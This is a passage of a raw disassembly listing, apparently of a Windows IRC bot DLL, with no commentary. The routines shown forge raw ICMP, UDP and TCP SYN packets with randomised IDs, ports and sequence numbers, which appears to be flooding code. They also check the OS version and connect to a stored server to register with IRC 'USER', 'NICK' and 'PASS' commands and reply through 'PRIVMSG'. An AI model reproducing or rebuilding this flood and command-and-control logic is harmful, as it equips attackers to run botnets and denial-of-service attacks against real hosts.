sub_1000692F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000693F	proc near		; CODE XREF: sub_10006920+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10006951 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_1000693F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10006951()

sub_10006951	proc near		; DATA XREF: sub_1000693F+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D115
		call	ds:??1Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::~Init(void)
		pop	ebp
		retn
sub_10006951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006961	proc near		; DATA XREF: .data:1000E040o
		push	ebp
		mov	ebp, esp
		call	sub_10006970
		call	sub_10006980
		pop	ebp
		retn
sub_10006961	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006970	proc near		; CODE XREF: sub_10006961+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D114
		call	ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
		pop	ebp
		retn
sub_10006970	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006980	proc near		; CODE XREF: sub_10006961+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10006992 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_10006980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10006992()

sub_10006992	proc near		; DATA XREF: sub_10006980+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D114
		call	ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
		pop	ebp
		retn
sub_10006992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100069A2	proc near		; CODE XREF: sub_10006A3B+BCp
					; sub_10006A3B+150p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_10], eax
		mov	word ptr [ebp+var_8], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], ecx

loc_100069C1:				; CODE XREF: sub_100069A2+47j
		cmp	[ebp+var_10], 1
		jle	short loc_100069EB
		mov	edx, [ebp+var_C]
		xor	eax, eax
		mov	ax, [edx]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		add	edx, 2
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_10]
		sub	eax, 2
		mov	[ebp+var_10], eax
		jmp	short loc_100069C1
; ---------------------------------------------------------------------------

loc_100069EB:				; CODE XREF: sub_100069A2+23j
		cmp	[ebp+var_10], 1
		jnz	short loc_10006A09
		mov	ecx, [ebp+var_C]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_8]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx

loc_10006A09:				; CODE XREF: sub_100069A2+4Dj
		mov	edx, [ebp+var_4]
		sar	edx, 10h
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		add	edx, eax
		mov	[ebp+var_4], edx
		mov	ecx, [ebp+var_4]
		sar	ecx, 10h
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		not	eax
		mov	word ptr [ebp+var_8], ax
		mov	ax, word ptr [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_100069A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006A3B	proc near		; CODE XREF: sub_1000B205+188p

Memory		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	208h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Memory], eax
		push	200h		; Size
		push	0FFh
		push	0
		call	sub_10004608
		add	esp, 8
		push	eax		; Val
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		and	dl, 0F0h
		or	dl, 5
		mov	eax, [ebp+arg_0]
		mov	[eax], dl
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		and	dl, 0Fh
		or	dl, 40h
		mov	eax, [ebp+arg_0]
		mov	[eax], dl
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx+1], 0
		push	4		; hostshort
		call	ds:htons	; htons
		mov	edx, [ebp+arg_0]
		mov	[edx+2], ax
		call	ds:rand	; rand
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], ax
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+6], 0
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+8], 80h
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx+9], 1
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+0Ah], 0
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		mov	[edx+10h], eax
		push	14h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_100069A2
		add	esp, 8
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ah], ax
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+14h], 8
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx+15h], 0
		call	ds:rand	; rand
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	edx, [ebp+arg_0]
		mov	[edx+18h], ax
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax+16h], 0
		call	ds:rand	; rand
		mov	esi, eax
		shl	esi, 10h
		call	ds:rand	; rand
		or	esi, eax
		push	esi		; hostshort
		call	ds:htons	; htons
		mov	ecx, [ebp+arg_0]
		mov	[ecx+1Ah], ax
		push	8		; Size
		mov	edx, [ebp+arg_0]
		add	edx, 14h
		push	edx		; Src
		mov	eax, [ebp+Memory]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		push	200h		; Size
		mov	ecx, [ebp+arg_0]
		add	ecx, 1Ch
		push	ecx		; Src
		mov	edx, [ebp+Memory]
		add	edx, 8
		push	edx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		push	208h
		mov	eax, [ebp+Memory]
		push	eax
		call	sub_100069A2
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16h], ax
		mov	edx, [ebp+Memory]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_10006A3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10006BAC(int,int,int,u_short hostshort,__int16)

sub_10006BAC	proc near		; CODE XREF: sub_1000B442+1D8p

Memory		= dword	ptr -10h
Src		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
hostshort	= word ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	214h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Memory], eax
		push	200h		; Size
		push	0FFh
		push	0
		call	sub_10004608
		add	esp, 8
		push	eax		; Val
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		and	dl, 0F0h
		or	dl, 5
		mov	eax, [ebp+arg_0]
		mov	[eax], dl
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		and	dl, 0Fh
		or	dl, 40h
		mov	eax, [ebp+arg_0]
		mov	[eax], dl
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx+1], 0
		push	4		; hostshort
		call	ds:htons	; htons
		mov	edx, [ebp+arg_0]
		mov	[edx+2], ax
		call	ds:rand	; rand
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], ax
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+6], 0
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+8], 80h
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx+9], 11h
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+0Ah], 0
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		mov	[edx+10h], eax
		push	14h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_100069A2
		add	esp, 8
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ah], ax
		mov	ax, [ebp+hostshort]
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], ax
		mov	dx, [ebp+arg_10]
		push	edx		; hostshort
		call	ds:htons	; htons
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16h], ax
		push	208h		; hostshort
		call	ds:htons	; htons
		mov	edx, [ebp+arg_0]
		mov	[edx+18h], ax
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax+1Ah], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		mov	[ebp+Src], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_0]
		mov	al, [edx+9]
		mov	[ebp+var_3], al
		push	208h		; hostshort
		call	ds:htons	; htons
		mov	[ebp+var_2], ax
		push	0Ch		; Size
		lea	ecx, [ebp+Src]
		push	ecx		; Src
		mov	edx, [ebp+Memory]
		push	edx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		push	8		; Size
		mov	eax, [ebp+arg_0]
		add	eax, 14h
		push	eax		; Src
		mov	ecx, [ebp+Memory]
		add	ecx, 0Ch
		push	ecx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		push	200h		; Size
		mov	edx, [ebp+arg_0]
		add	edx, 1Ch
		push	edx		; Src
		mov	eax, [ebp+Memory]
		add	eax, 14h
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		push	214h
		mov	ecx, [ebp+Memory]
		push	ecx
		call	sub_100069A2
		add	esp, 8
		mov	edx, [ebp+arg_0]
		mov	[edx+1Ah], ax
		mov	eax, [ebp+Memory]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_10006BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10006D53(int,int,int,u_short hostshort,__int16)

sub_10006D53	proc near		; CODE XREF: sub_10009E30+92p
					; .text:1000B895p

Memory		= dword	ptr -10h
Src		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
hostshort	= word ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	20h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Memory], eax
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		and	cl, 0F0h
		or	cl, 5
		mov	edx, [ebp+arg_0]
		mov	[edx], cl
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		and	cl, 0Fh
		or	cl, 40h
		mov	edx, [ebp+arg_0]
		mov	[edx], cl
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+1], 0
		push	4		; hostshort
		call	ds:htons	; htons
		mov	ecx, [ebp+arg_0]
		mov	[ecx+2], ax
		call	ds:rand	; rand
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ax
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax+6], 0
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx+8], 80h
		mov	edx, [ebp+arg_0]
		mov	byte ptr [edx+9], 6
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax+0Ah], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	[ecx+0Ch], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	[eax+10h], ecx
		push	14h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_100069A2
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ah], ax
		mov	dx, [ebp+hostshort]
		push	edx		; hostshort
		call	ds:htons	; htons
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], ax
		mov	dx, [ebp+arg_10]
		push	edx		; hostshort
		call	ds:htons	; htons
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16h], ax
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1Ch], 0
		mov	eax, [ebp+arg_0]
		mov	cl, [eax+20h]
		and	cl, 0F0h
		mov	edx, [ebp+arg_0]
		mov	[edx+20h], cl
		mov	eax, [ebp+arg_0]
		mov	cl, [eax+20h]
		and	cl, 0Fh
		or	cl, 50h
		mov	edx, [ebp+arg_0]
		mov	[edx+20h], cl
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+21h], 2
		push	4000h		; hostshort
		call	ds:htons	; htons
		mov	ecx, [ebp+arg_0]
		mov	[ecx+22h], ax
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+24h], 0
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax+26h], 0
		call	ds:rand	; rand
		mov	esi, eax
		shl	esi, 10h
		call	ds:rand	; rand
		or	esi, eax
		push	esi		; hostshort
		call	ds:htons	; htons
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+18h], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		mov	[ebp+Src], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+10h]
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	cl, [eax+9]
		mov	[ebp+var_3], cl
		push	14h		; hostshort
		call	ds:htons	; htons
		mov	[ebp+var_2], ax
		push	0Ch		; Size
		lea	edx, [ebp+Src]
		push	edx		; Src
		mov	eax, [ebp+Memory]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		push	14h		; Size
		mov	ecx, [ebp+arg_0]
		add	ecx, 14h
		push	ecx		; Src
		mov	edx, [ebp+Memory]
		add	edx, 0Ch
		push	edx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		push	20h
		mov	eax, [ebp+Memory]
		push	eax
		call	sub_100069A2
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	[ecx+24h], ax
		mov	edx, [ebp+Memory]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_10006D53	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006F20	proc near		; DATA XREF: .data:1000E044o
		push	ebp
		mov	ebp, esp
		call	sub_10006F2F
		call	sub_10006F3F
		pop	ebp
		retn
sub_10006F20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006F2F	proc near		; CODE XREF: sub_10006F20+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D11D
		call	ds:??0Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::Init(void)
		pop	ebp
		retn
sub_10006F2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006F3F	proc near		; CODE XREF: sub_10006F20+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10006F51 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_10006F3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10006F51()

sub_10006F51	proc near		; DATA XREF: sub_10006F3F+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D11D
		call	ds:??1Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::~Init(void)
		pop	ebp
		retn
sub_10006F51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006F61	proc near		; DATA XREF: .data:1000E048o
		push	ebp
		mov	ebp, esp
		call	sub_10006F70
		call	sub_10006F80
		pop	ebp
		retn
sub_10006F61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006F70	proc near		; CODE XREF: sub_10006F61+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D11C
		call	ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
		pop	ebp
		retn
sub_10006F70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006F80	proc near		; CODE XREF: sub_10006F61+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10006F92 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_10006F80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10006F92()

sub_10006F92	proc near		; DATA XREF: sub_10006F80+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D11C
		call	ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
		pop	ebp
		retn
sub_10006F92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006FA2	proc near		; CODE XREF: sub_10001EBF+66p
					; sub_100024A5+383p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	0Ch		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+var_4], eax
		push	8
		push	6
		call	sub_10004608
		add	esp, 8
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		jmp	short loc_10006FD7
; ---------------------------------------------------------------------------

loc_10006FCE:				; CODE XREF: sub_10006FA2+51j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax

loc_10006FD7:				; CODE XREF: sub_10006FA2+2Aj
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_C]
		jge	short loc_10006FF5
		push	7Ah
		push	61h
		call	sub_10004608
		add	esp, 8
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_8]
		mov	[edx], al
		jmp	short loc_10006FCE
; ---------------------------------------------------------------------------

loc_10006FF5:				; CODE XREF: sub_10006FA2+3Bj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_10006FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10007005	proc near		; CODE XREF: start:loc_100043ACp
					; start:loc_10004408p

VersionInformation= _OSVERSIONINFOA ptr	-0C8h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
Dest		= byte ptr -1Ch
name		= sockaddr ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C8h
		mov	eax, dword_10012118
		mov	[ebp+var_28], eax
		mov	ecx, dword_1001211C
		mov	[ebp+var_24], ecx
		mov	dword ptr [ebp+var_2C],	offset dword_1002D124
		mov	[ebp+VersionInformation.dwOSVersionInfoSize], 94h
		lea	edx, [ebp+VersionInformation]
		push	edx		; lpVersionInformation
		call	ds:GetVersionExA	; GetVersionExA
		call	ds:GetTickCount	; GetTickCount
		push	eax		; Seed
		call	ds:srand	; srand
		add	esp, 4
		cmp	[ebp+VersionInformation.dwMajorVersion], 4
		jnz	short loc_10007084
		cmp	[ebp+VersionInformation.dwMinorVersion], 0
		jnz	short loc_10007084
		cmp	[ebp+VersionInformation.dwPlatformId], 1
		jnz	short loc_1000706F
		mov	dword ptr [ebp+var_2C],	offset dword_10012120

loc_1000706F:				; CODE XREF: sub_10007005+61j
		cmp	[ebp+VersionInformation.dwPlatformId], 2
		jnz	short loc_1000707F
		mov	dword ptr [ebp+var_2C],	offset dword_10012124

loc_1000707F:				; CODE XREF: sub_10007005+71j
		jmp	loc_10007112
; ---------------------------------------------------------------------------

loc_10007084:				; CODE XREF: sub_10007005+4Fj
					; sub_10007005+58j
		cmp	[ebp+VersionInformation.dwMajorVersion], 4
		jnz	short loc_1000709F
		cmp	[ebp+VersionInformation.dwMinorVersion], 0Ah
		jnz	short loc_1000709F
		mov	dword ptr [ebp+var_2C],	offset dword_10012128
		jmp	short loc_10007112
; ---------------------------------------------------------------------------

loc_1000709F:				; CODE XREF: sub_10007005+86j
					; sub_10007005+8Fj
		cmp	[ebp+VersionInformation.dwMajorVersion], 4
		jnz	short loc_100070BA
		cmp	[ebp+VersionInformation.dwMinorVersion], 5Ah
		jnz	short loc_100070BA
		mov	dword ptr [ebp+var_2C],	offset dword_1001212C
		jmp	short loc_10007112
; ---------------------------------------------------------------------------

loc_100070BA:				; CODE XREF: sub_10007005+A1j
					; sub_10007005+AAj
		cmp	[ebp+VersionInformation.dwMajorVersion], 5
		jnz	short loc_100070D5
		cmp	[ebp+VersionInformation.dwMinorVersion], 0
		jnz	short loc_100070D5
		mov	dword ptr [ebp+var_2C],	offset dword_10012130
		jmp	short loc_10007112
; ---------------------------------------------------------------------------

loc_100070D5:				; CODE XREF: sub_10007005+BCj
					; sub_10007005+C5j
		cmp	[ebp+VersionInformation.dwMajorVersion], 5
		jnz	short loc_100070F0
		cmp	[ebp+VersionInformation.dwMinorVersion], 1
		jnz	short loc_100070F0
		mov	dword ptr [ebp+var_2C],	offset dword_10012134
		jmp	short loc_10007112
; ---------------------------------------------------------------------------

loc_100070F0:				; CODE XREF: sub_10007005+D7j
					; sub_10007005+E0j
		cmp	[ebp+VersionInformation.dwMajorVersion], 5
		jnz	short loc_1000710B
		cmp	[ebp+VersionInformation.dwMinorVersion], 2
		jnz	short loc_1000710B
		mov	dword ptr [ebp+var_2C],	offset dword_10012138
		jmp	short loc_10007112
; ---------------------------------------------------------------------------

loc_1000710B:				; CODE XREF: sub_10007005+F2j
					; sub_10007005+FBj
		mov	dword ptr [ebp+var_2C],	offset dword_1001213C

loc_10007112:				; CODE XREF: sub_10007005:loc_1000707Fj
					; sub_10007005+98j ...
		mov	eax, s
		push	eax		; s
		call	ds:closesocket	; closesocket
		push	0		; protocol
		push	1		; type
		push	2		; af
		call	ds:socket	; socket
		mov	s, eax
		cmp	s, 0FFFFFFFFh
		jnz	short loc_1000713F
		xor	al, al
		jmp	loc_1000728F
; ---------------------------------------------------------------------------

loc_1000713F:				; CODE XREF: sub_10007005+131j
		mov	[ebp+var_30], 0
		jmp	short loc_10007151
; ---------------------------------------------------------------------------

loc_10007148:				; CODE XREF: sub_10007005+15Dj
		mov	ecx, [ebp+var_30]
		add	ecx, 1
		mov	[ebp+var_30], ecx

loc_10007151:				; CODE XREF: sub_10007005+141j
		mov	edx, [ebp+var_30]
		shl	edx, 7
		movsx	eax, byte_1002C8E8[edx]
		test	eax, eax
		jz	short loc_10007164
		jmp	short loc_10007148
; ---------------------------------------------------------------------------

loc_10007164:				; CODE XREF: sub_10007005+15Bj
		mov	ecx, [ebp+var_30]
		sub	ecx, 1
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		push	edx
		push	0
		call	sub_10004608
		add	esp, 8
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		shl	eax, 7
		add	eax, offset byte_1002C8E8
		push	eax		; Src
		call	sub_10004BF7
		add	esp, 4
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_100071B3
		mov	ecx, [ebp+var_20]
		shl	ecx, 7
		add	ecx, offset byte_1002C8E8
		push	ecx		; cp
		call	ds:inet_addr	; inet_addr
		mov	[ebp+var_34], eax
		jmp	short loc_100071CB
; ---------------------------------------------------------------------------

loc_100071B3:				; CODE XREF: sub_10007005+194j
		mov	edx, [ebp+var_20]
		shl	edx, 7
		add	edx, offset byte_1002C8E8
		push	edx		; name
		call	sub_10004763
		add	esp, 4
		mov	[ebp+var_34], eax

loc_100071CB:				; CODE XREF: sub_10007005+1ACj
		cmp	[ebp+var_34], 0
		jnz	short loc_100071D8
		xor	al, al
		jmp	loc_1000728F
; ---------------------------------------------------------------------------

loc_100071D8:				; CODE XREF: sub_10007005+1CAj
		mov	[ebp+name.sa_family], 2
		push	offset Str	; Str
		call	ds:atoi	; atoi
		add	esp, 4
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	word ptr [ebp+name.sa_data], ax
		mov	eax, [ebp+var_34]
		mov	dword ptr [ebp+name.sa_data+2],	eax
		push	8		; Size
		push	0		; Val
		lea	ecx, [ebp+name.sa_data+6]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	10h		; namelen
		lea	edx, [ebp+name]
		push	edx		; name
		mov	eax, s
		push	eax		; s
		call	ds:connect	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10007228
		xor	al, al
		jmp	short loc_1000728F
; ---------------------------------------------------------------------------

loc_10007228:				; CODE XREF: sub_10007005+21Dj
		push	0Ch		; Count
		call	sub_10006FA2
		push	eax		; Source
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		lea	edx, [ebp+Dest]
		push	edx
		mov	eax, dword ptr [ebp+var_2C]
		push	eax		; char
		push	offset aUserSS	; "USER	%s \"\"	\"\" :%s"
		call	sub_10007293
		add	esp, 0Ch
		lea	ecx, [ebp+var_28]
		push	ecx
		lea	edx, [ebp+Dest]
		push	edx
		mov	eax, dword ptr [ebp+var_2C]
		push	eax		; char
		push	offset aNickSSS	; "NICK	|%s%s%s"
		call	sub_10007293
		add	esp, 10h
		movsx	ecx, byte_10012C44
		test	ecx, ecx
		jz	short loc_10007288
		push	offset byte_10012C44 ; char
		push	offset aPassS	; "PASS	%s"
		call	sub_10007293
		add	esp, 8

loc_10007288:				; CODE XREF: sub_10007005+26Fj
		call	sub_10004C83
		mov	al, 1

loc_1000728F:				; CODE XREF: sub_10007005+135j
					; sub_10007005+1CEj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_10007005	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10007293(char	*Format,char)

sub_10007293	proc near		; CODE XREF: sub_10005380+1A8p
					; sub_10007005+245p ...

ArgList		= dword	ptr -204h
buf		= byte ptr -200h
Format		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		lea	eax, [ebp+arg_4]
		mov	[ebp+ArgList], eax
		mov	ecx, [ebp+ArgList]
		push	ecx		; ArgList
		mov	edx, [ebp+Format]
		push	edx		; Format
		push	1FEh		; MaxCount
		lea	eax, [ebp+buf]
		push	eax		; DstBuf
		call	ds:_vsnprintf	; _vsnprintf
		add	esp, 10h
		push	offset asc_1001216C ; "\r\n"
		lea	ecx, [ebp+buf]
		push	ecx		; Dest
		call	strcat	; strcat
		add	esp, 8
		push	0		; flags
		lea	edx, [ebp+buf]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, s
		push	ecx		; s
		call	ds:send	; send
		mov	esp, ebp
		pop	ebp
		retn
sub_10007293	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10007303(int,char *Format,char)

sub_10007303	proc near		; CODE XREF: sub_100024A5+362p
					; sub_100024A5+7C4p ...

ArgList		= dword	ptr -404h
buf		= byte ptr -400h
DstBuf		= byte ptr -200h
arg_0		= dword	ptr  8
Format		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		lea	eax, [ebp+arg_8]
		mov	[ebp+ArgList], eax
		mov	ecx, [ebp+ArgList]
		push	ecx		; ArgList
		mov	edx, [ebp+Format]
		push	edx		; Format
		push	200h		; MaxCount
		lea	eax, [ebp+DstBuf]
		push	eax		; DstBuf
		call	ds:_vsnprintf	; _vsnprintf
		add	esp, 10h
		lea	ecx, [ebp+DstBuf]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s"
		push	1FEh		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 14h
		push	offset asc_10012180 ; "\r\n"
		lea	ecx, [ebp+buf]
		push	ecx		; Dest
		call	strcat	; strcat
